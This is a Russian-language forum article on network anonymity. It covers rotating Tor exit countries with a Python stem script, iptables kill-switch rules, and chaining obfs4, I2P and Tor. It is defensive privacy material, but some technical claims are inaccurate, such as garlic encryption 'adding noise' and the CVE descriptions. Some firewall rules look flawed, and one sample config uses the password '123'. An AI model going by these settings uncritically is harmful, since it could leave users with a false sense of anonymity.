Как это работает? В конфигурации Tor можно указать предпочтительные страны для выходных нод с помощью директив ExitNodes и StrictNodes. Для автоматической смены нод можно использовать скрипт, который меняет настройки Tor и отправляет сигнал NEWNYM для построения новой цепочки без прерывания работы сервиса. Чтобы заблокировать трафик при отключении Tor, настраиваются правила файрвола, например, с помощью iptables, которые разрешают доступ в интернет только через Tor и блокируют всё остальное. Если добавить случайные интервалы для смены нод, например, от 5 до 15 минут, это создаст дополнительную хаотичность, усложняя анализ трафика.
Правда частая смена нод может замедлить соединение, так как Tor будет строить новые цепочки, а некоторые ноды могут работать медленно. Также важно тщательно настроить файрвол, чтобы избежать случайных утечек данных.

Настройка смены выходной ноды Tor
Дальше, я расскажу, как настроить конфигурацию Tor, создать файрвол для предотвращения утечек трафика за пределы Tor и реализовать смену выходных нод с помощью Python-скрипта.

Сначала нужно настроить конфиг Tor. Для этого открой файл:
Код:
sudo nano /etc/tor/torrc

И вставь туда такие строки:
Код:
ControlPort 9051
CookieAuthentication 1
DataDirectory /var/lib/tor
VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
DNSPort 9053
Сохрани: Ctrl+O, Enter, Ctrl+X. Это включает порт управления(9051), папку для данных Tor, виртуальную сеть для onion-адресов, автосопоставление хостов, прозрачный прокси (9040) и DNS через Tor (9053). Порт управления на 9051 позволяет управлять Tor, например, менять цепочки узлов или проверять его состояние через скрипты. Папка для данных, обычно /var/lib/tor, хранит временные файлы, такие как ключи. Виртуальная сеть с диапазоном 10.192.0.0/10 создаёт адреса для onion-сайтов, чтобы Tor мог к ним подключаться. Автосопоставление хостов упрощает доступ к этим сайтам, преобразуя их адреса в нужный формат. Прозрачный прокси на порту 9040 направляет весь ваш интернет-трафик через Tor, даже если программа не настроена для этого. DNS на порту 9053 отправляет запросы к сайтам через Tor, чтобы провайдер не видел, какие ресурсы вы посещаете.

Теперь перезапусти Tor:
Код:
sudo systemctl restart tor

Убедись, что Tor работает, проверив статус:
Код:
sudo systemctl status tor

Теперь настрой файрвол, чтобы блокировать весь трафик, кроме Tor:
Код:
sudo iptables -F
sudo iptables -A OUTPUT -o lo -j ACCEPT
sudo iptables -A OUTPUT -d 127.0.0.1 -p tcp --dport 9040 -j ACCEPT
sudo iptables -A OUTPUT -d 127.0.0.1 -p udp --dport 9053 -j ACCEPT
sudo iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT
sudo iptables -A OUTPUT -j REJECT
sudo iptables-save > /etc/iptables/rules.v4
Эти команды сбрасывают старые правила iptables, разрешают локальный трафик (lo), доступ к портам Tor (9040 для прокси, 9053 для DNS) и трафик от пользователя tor. Всё остальное работать просто не будет. Последняя команда сохраняет правила, чтобы они не слетели после перезагрузки (если стоит iptables-persistent).

Проверь, что без Tor трафик не проходит:
Код:
sudo systemctl stop tor
ping 8.8.8.8
Пинг не должен работать, если файрвол правильно настроен.

И только после выполнения всех этих настроек можно использовать скрипт, который я написал для смены выходных нод:
Python:
from stem.control import Controller
import random
import time


countries = ['us', 'de', 'jp', 'fr', 'nl', 'ca', 'uk']
tor_config_file = '/etc/tor/torrc'


def update_tor_exit_node():
    country = random.choice(countries)
    with Controller.from_port(port=9051) as controller:
 
        controller.authenticate()
 
        controller.set_conf('ExitNodes', f'{{{country}}}')
        controller.set_conf('StrictNodes', '1')


        controller.signal('NEWNYM')
        print(f"Смена ноды на страну: {country}")


while True:
    update_tor_exit_node()
    delay = random.randint(30, 90) #в рельности можете следать большие паузы
 
    print(f"Ожидание {delay} секунд до следующей смены...")
 
    time.sleep(delay)
Скрипт начинает работу с бесконечного цикла, который вызывает функцию update_tor_exit_node для управления Tor через библиотеку stem. Сначала она выбирает случайную страну из списка countries (США, Германия, Япония, Франция, Нидерланды, Канада, Великобритания). Затем подключается к управляющему порту Tor (9051). После успешной аутентификации через controller.authenticate программа задаёт конфигурацию Tor: параметр ExitNodes устанавливается в код выбранной страны (например, {us}), а StrictNodes включается (значение '1'), чтобы принудительно использовать выходные ноды только из этой страны. Далее отправляется сигнал NEWNYM через controller.signal, который заставляет Tor создать новую цепочку соединений в реальном времени. После этого программа ждёт случайное время от 30 до 90 секунд, выводит сообщение об ожидании и засыпает.

Для управления Tor через скрипт понадобится библиотека stem:
Код:
pip3 install stem

Затем запускаем скрипт:
Код:
python tor_exit_node.py

Теперь можно проверить текущую выходную ноду и её смену с помощью команды:
Код:
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip

Проверяем:
photo_2025-10-05_14-35-02.jpg




Настройка цепочки I2P + Tor с обфускацией трафика
И последним в этой статье, я расскажу как настроить цепочку из Tor и I2P.

Tor, использует луковое шифрование, при котором каждый узел в цепочке, снимает один слой шифрования, пока трафик не достигнет своей цели.
Это работает не только для внутренних сервисов Tor,, но и для клирнета. Потому что, когда вы подключаетесь к обычному сайту через Tor, трафик выходит через выходную ноду, которая отправляет запрос в интернет, скрывая ваш реальный IP-адрес. Поэтому Tor сам по себе, в принципе можно использовать для доступа к обычному интернету.

Но вот I2P, в свою очередь это сеть, которая использует чесночное шифрование для скрытия трафика. Чесночное шифрование лучше лукового не только из-за большего числа слоёв, но и потому, что к данным добавляется случайный шум. Данные шифруются и отправляются через туннели из двух или трёх узлов, где каждый узел знает только предыдущий и следующий шаг. Это делает отслеживание источника или получателя почти невозможным. Однако при создании цепочки могут возникнуть сложности, так как I2P ориентирована на внутренние сервисы, такие как сайты с доменами .i2p или P2P-сети, а выход в обычный интернет через специальные узлы (outproxy) встречается редко и не всегда надёжен.

Чтобы решить эту проблему, можно настроить цепочку, где I2P отвечает за внутреннюю маршрутизацию и анонимность, а Tor берёт на себя выход в обычный интернет. В такой цепочке трафик будет идти так: ваше устройство → I2P → Tor → интернет. I2P создаст туннель с чесночным шифрованием, тем самым скрыв ваш трафик, а Tor направит его в clearnet через свои выходные узлы. Для создания такой цепочки нужно настроить клиент I2P, например, i2pd, и Tor, чтобы они работали последовательно. Также важно добавить правила файрвола, которые заблокируют любой трафик, если одна из сетей отключится, чтобы избежать утечек.

Но по мимо особенностей I2P есть ещё одна проблема, а именно: провайдеры или DPI могут распознать трафик Tor, например, через его специфические заголовки или шаблоны соединений. Чтобы этого избежать, можно использовать протоколы вроде obfs4, который маскирует трафик под обычное HTTPS-соединение или случайный шум.

Если использовать obfs4, цепочка будет выглядеть так: ваше устройство → obfs4 → I2P → Tor → обычный интернет. В ней obfs4 сначала маскирует весь трафик, включая I2P, под HTTPS, затем I2P создаёт туннели с чесночным шифрованием для скрытия источника, а Tor добавляет дополнительный слой защиты, направляя трафик в интернет.

Правда, есть проблема: такое соединение может быть невероятно медленным из-за многократного перенаправления трафика. Чтобы хотя бы частично решить эту проблему, можно оптимизировать настройки обеих сетей. В I2P можно настроить туннели с меньшим числом хопов (например, два вместо трёх) в конфигурации i2pd, чтобы уменьшить задержки, но это немного снизит анонимность. В Tor можно указать предпочтительные выходные узлы в странах с высокой пропускной способностью, например, через директиву ExitNodes в файле torrc, и использовать мосты obfs4 с низкой загрузкой. Также важно настроить клиент I2P и Tor на достаточно мощном устройстве с быстрым соединением. Если быстрый трафик очень важен, можно ограничить использование такой цепочки только для задач, где нужна высокая анонимность. А в обычной жизни использовать другую цепочку, например: VPN → Tor → VPN.


Какую версию I2P выбрать для реализации?
Когда заходит разговор об I2P, всегда встаёт вопрос: какую реализацию лучше выбрать?
У I2P есть две основные версии.
Первая - это Java-версия, называемая I2P Router. Она появилась раньше и создана командой разработчиков I2P, начавших проект в 2003 году. Эта реализация полнофункциональная, и включает в себя встроенные приложения, например I2PSnark для торрентов или Susimail для анонимной почты. Но у неё есть существенные минусы: она работает на Java, а как известно JVM, из-за чего потребляет много ресурсов, особенно памяти и процессора. К тому же JVM добавляет риски уязвимостей, например проблемы с десериализацией объектов, такие как CVE-2017-5638, или CVE-2022-22965, которая приводит инъекции шеллов в веб-приложения, ещё есть CVE-2021-44228, которая позволяет удалённое выполнение кода через манипуляцию с логами в Java-приложениях. Как можно понять, эти уязвимости явно не способствует анонимности, особенно если вовремя не ставить патчи.

Вторая реализация - это i2pd, написанная на C++. Её разработал энтузиаст под псевдонимом orignal в 2013 году, и с тех пор проект поддерживается небольшой, но активной командой. i2pd легче, так как не использует JVM, и потребляет меньше ресурсов. Так же благодаря С++, i2pd работает быстрее Java-версии. Благодаря отсутствию Java эта версия менее уязвима, так как C++ даёт строгий контроль над памятью, хотя и требует взамен аккуратности от разработчиков. По i2pd проводятся исследования безопасности, а команда выпускает патчи, например, для защиты от атак на туннели или утечек данных. Кроме того, эта версия оптимизировала работу туннелей, из-за чего они стали стабильнее.

Как понятно из моего сравнения, для создания туннеля лучше выбирать i2pd. Потому что она быстрее, легче и безопаснее благодаря отсутствию JVM. Впрочем, если я в чём-то ошибся или не учёл аспекты безопасности версий, вы можете меня поправить в комментариях.

Настройка туннеля
Для начала тебе нужно установить все необходимые пакеты. Вот команда:

Код:
sudo apt install -y i2pd tor obfs4proxy

Теперь настроим Tor с поддержкой мостов obfs4. Открой файл конфигурации Tor:
Код:
sudo nano /etc/tor/torrc

Добавь в файл следующее содержимое:
Код:
UseBridges 1
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
Bridge obfs4 ваш мост
SocksPort 9050
ControlPort 9051
DataDirectory /var/lib/tor
AutomapHostsOnResolve 1
DNSPort 9053
Эта конфигурация добавляет использование мостов, подключает obfs4proxy для маскировки трафика, указывает адрес моста obfs4, а так же задаёт порт 9050 для SOCKS-прокси Tor и порт 9051 для управления Tor, директорию /var/lib/tor для хранения данных. Ещё она включает автоматическое сопоставление доменов с IP-адресами и задаёт порт 9053 для обработки DNS-запросов через Tor. Это нужно так как иногда в Tor могут возникнуть проблемы с обработкой DNS.

Мост можно получить на официальном сайте https://bridges.torproject.org/bridges?transport=obfs4:
photo_2025-10-05_21-15-41.jpg



После этого перезапусти Tor, чтобы применить новую конфигурацию:
Код:
sudo systemctl restart tor
sudo systemctl enable tor
Эти команды перезапускают службу Tor и включают её автозапуск при загрузке системы.

Теперь переходим к настройке i2pd. Для этого открой файл конфигурации:
Код:
sudo nano /etc/i2pd/i2pd.conf

Вставь в него следующее содержимое:
Код:
tunconf = /etc/i2pd/tunnels.conf
logfile = /var/log/i2pd/i2pd.log
loglevel = debug
ipv4 = true
[http]
enabled = true
address = 127.0.0.1
port = 7075
auth = true
user = admin
pass = 123  # Поменяй на более надёжный пароль!
[httpproxy]
enabled = true
address = 127.0.0.1
port = 4445
[socksproxy]
enabled = true
address = 127.0.0.1
port = 14447
outproxy.enabled = true
outproxy = 127.0.0.1
outproxyport = 9050
[addressbook]
enabled = true
defaulturl = http://i2p-projekt.i2p/hosts.txt
hostsfile = /root/.i2pd/addressbook/hosts.txt
[reseed]
verify = true
Эта конфигурация сначала указывает путь к файлу туннелей, потом задаёт путь к логам и их уровень детализации, чтобы ты мог видеть, что происходит, если что-то пойдёт не так, и включает поддержку IPv4. Дальше для самого i2pd она запускает веб-интерфейс на порту 7075 с авторизацией (логин: admin, пароль: 123, лучше смени на что-то посложнее) и включает HTTP-прокси на порту 4445 для доступа к сайтам в I2P, а также SOCKS-прокси на порту 14447 для работы с I2P. Помимо этого параметр outproxy направляет запросы к обычному интернету через Tor на порт 9050, что позволяет выходить в clearnet безопасно. Ещё я добавил адресную книгу, которая помогает находить сайты в I2P, и включил проверку подлинности серверов для начальной загрузки узлов I2P, чтобы защититься от поддельных узлов.

Теперь настроим туннели. Открой файл, указанный в tunconf:
Код:
sudo nano /etc/i2pd/tunnels.conf

Вставь в него следующее:
Код:
[httpproxy]
type = httpproxy
address = 127.0.0.1
port = 4444


[alt-socks]
type = socks
address = 127.0.0.1
port = 14447
keys = socks-keys.dat
Эта конфигурация создаёт HTTP-прокси на порту 4444, чтобы обрабатывать HTTP-запросы через I2P, и SOCKS-прокси на порту 14447 для работы с I2P. Если outproxy включён в i2pd.conf, запросы к обычному интернету пойдут через Tor на порт 9050. Ещё указывается файл для хранения ключей туннеля, что нужно, чтобы туннели сохранялись после перезапуска и соединения были зашифрованы.

После настройки перезапусти i2pd, чтобы применить конфиги:
Код:
sudo systemctl restart i2pd
sudo systemctl enable i2pd

Теперь проверим, всё ли работает.
Первым делом для этого открой в браузере http://127.0.0.1:7075/?page=i2p_tunnels:
photo_2025-10-05_21-17-55.jpg


Ты должен увидеть туннели httpproxy и alt-socks в веб-интерфейсе i2pd.

Для проверки I2P можно установить в Firefox SOCKS5-прокси на адрес 127.0.0.1:14447.

Затем перейди на http://identiguy.i2p/:

Screenshot_2025-10-04_21-00-51.png

Если всё настроено правильно, сайт загрузится, подтверждая работу I2P.

Теперь проверим Tor. Для этого зайди на https://check.torproject.org/:
Screenshot_2025-10-04_21-01-44.png

Если браузер настроен на использование Tor (SOCKS5-прокси 127.0.0.1:9050), ты увидишь сообщение: Congratulations. This browser is configured to use Tor.

Для дополнительной проверки IP зайди на https://api.ipify.org:
Screenshot_2025-10-04_21-03-31.png

IP должен совпадать с тем, что отображается на сайте Tor.

Ограничение трафика кроме Tor и I2P
Если хочешь ограничить весь трафик, кроме Tor и I2P, используй следующие команды для настройки iptables.

Очисти существующие правила:
Код:
sudo iptables -F
sudo iptables -X

Установи политики по умолчанию (блокировать весь входящий и исходящий трафик):
Код:
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP
Это нужно, потому что по умолчанию всё открыто, а мы хотим закрыть всё лишнее для безопасности.

Разреши локальный трафик (loopback):
Код:
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

Разреши трафик для Tor:
Код:
sudo iptables -A INPUT -p tcp --dport 9050 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 9050 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9051 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 9051 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9053 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 9053 -j ACCEPT
Это нужно, чтобы порты используются Tor для прокси, управления и DNS, и без них Tor не будет работать.

Разреши трафик для i2pd:
Код:
sudo iptables -A INPUT -p tcp --dport 7075 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 7075 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 4445 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 4445 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 14447 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 14447 -j ACCEPT

Разреши исходящий HTTPS-трафик для obfs4 (порт 443):
Код:
sudo iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT

Разреши установленные соединения:
Код:
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
Это нужно, чтобы ответы от серверов могли вернуться, иначе соединения будут обрываться.

После настройки следует сохранить правила:
Код:
sudo iptables-save > /etc/iptables/rules.v4

Для проверки просто отключи tor и отправь запрос на любой сайт:
Код:
sudo systemctl stop tor
curl https://api.ipify.org
Если ничего не работает, то правила применились


Вывод
На этом всё.
В этой статье я постарался не говорить о совсем базовых вещах, а рассказать про штуки, о которых не так часто упоминают, но которые помогают защитить твою сеть. Да, именно защитить, а не только сделать приватной! Ведь без безопасности нет приватности - если твой трафик легко перехватить или расшифровать, все усилия по анонимности пойдут прахом.

Сначала я разобрал модель угроз: кто и как может угрожать твоей сети. Подробно описал противников - от провайдеров с их DPI и подменой DNS до государственных структур с глобальным мониторингом и корпораций, которые шпионят через роутеры.

Потом перешёл к методам защиты. Начал с простого - закрытие ненужных портов через netstat и UFW, настройка VPN с kill-switch, чтобы трафик не утёк, если VPN отвалится, - но быстро дошёл до более интересного: вроде настройки DNS с DNSSEC, DNSCrypt, Anonymized DNSCrypt, DoH и DoT, чтобы защититься от чтения провайдером твоих запросов. Я даже показал, как автоматизировать это через Bash-скрипт, который сам спрашивает у тебя тип шифрования, настраивает всё и проверяет результат.
Затем разобрал более продвинутые штуки: например VLESS и VMess в V2Ray для маскировки трафика под обычный HTTPS, eBPF-программы для ограничения скорости или фильтрации пакетов прямо на уровне ядра, MACSec для шифрования на уровне Ethernet, чтобы защитить локальную сеть, и даже динамическую смену выходных нод Tor через библиотеку Stem, чтобы злоумышленнику было сложнее составить твой сетевой отпечаток.
А в конце я рассказал, как настроить рабочую цепочку I2P + Tor с obfs4 для обфускации, чтобы твой трафик был максимально скрытым.

Надеюсь, тебе было интересно и полезно читать эту статью! А главное - ты понял, что приватность и безопасность тесно связаны. Потому что даже хорошая настройка VPN или honeypot для сокрытия портов не спасут, если, например, твой DNS настроен на 0.0.0.0.

Это только первая часть про защиту сети. Я разбил статью на несколько, чтобы не затягивать повествование, и сделать матерьял более доступным. В следующей части я расскажу о более сложных вещах: например, как настроить свою реализацию Whonix без самого Whonix, сделав её ещё безопаснее, или о методах защиты сети на уровне ядра.
 

Вложения

  • photo_2025-10-05_13-18-11.jpg
    photo_2025-10-05_13-18-11.jpg
    145.7 КБ · Просмотры: 0
  • photo_2025-10-05_13-19-16.jpg
    photo_2025-10-05_13-19-16.jpg
    51.6 КБ · Просмотры: 0
  • photo_2025-10-05_13-20-31.jpg
    photo_2025-10-05_13-20-31.jpg
    64 КБ · Просмотры: 0
  • xss_assets.zip
    13.5 КБ · Просмотры: 10
  • photo_2025-10-05_13-19-16.jpg
    photo_2025-10-05_13-19-16.jpg
    51.6 КБ · Просмотры: 0
  • photo_2025-10-05_13-18-11.jpg
    photo_2025-10-05_13-18-11.jpg
    145.7 КБ · Просмотры: 0
  • photo_2025-10-05_13-19-16.jpg
    photo_2025-10-05_13-19-16.jpg
    51.6 КБ · Просмотры: 0
  • photo_2025-10-05_13-20-31.jpg
    photo_2025-10-05_13-20-31.jpg
    64 КБ · Просмотры: 0
  • photo_2025-10-05_13-23-18.jpg
    photo_2025-10-05_13-23-18.jpg
    170.9 КБ · Просмотры: 0
  • photo_2025-10-05_13-25-31.jpg
    photo_2025-10-05_13-25-31.jpg
    144.4 КБ · Просмотры: 0
  • photo_2025-10-05_13-44-57.jpg
    photo_2025-10-05_13-44-57.jpg
    437.6 КБ · Просмотры: 0
  • photo_2025-10-05_20-26-27.jpg
    photo_2025-10-05_20-26-27.jpg
    131.4 КБ · Просмотры: 0
  • photo_2025-10-05_11-37-55.jpg
    photo_2025-10-05_11-37-55.jpg
    77.2 КБ · Просмотры: 0
Последнее редактирование:
Закрытие ненужных портов
Хоть я и говорил, что банальностей не будет, начну с основ: закрывайте ненужные порты.
Надеюсь, тебе было интересно и полезно читать эту статью! А главное - ты понял, что приватность и безопасность тесно связаны.
На этом всё. В этой статье я постарался не говорить о совсем базовых вещах, а рассказать про штуки, о которых не так часто упоминают, но которые помогают защитить твою сеть. Да, именно защитить, а не только сделать приватной!
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх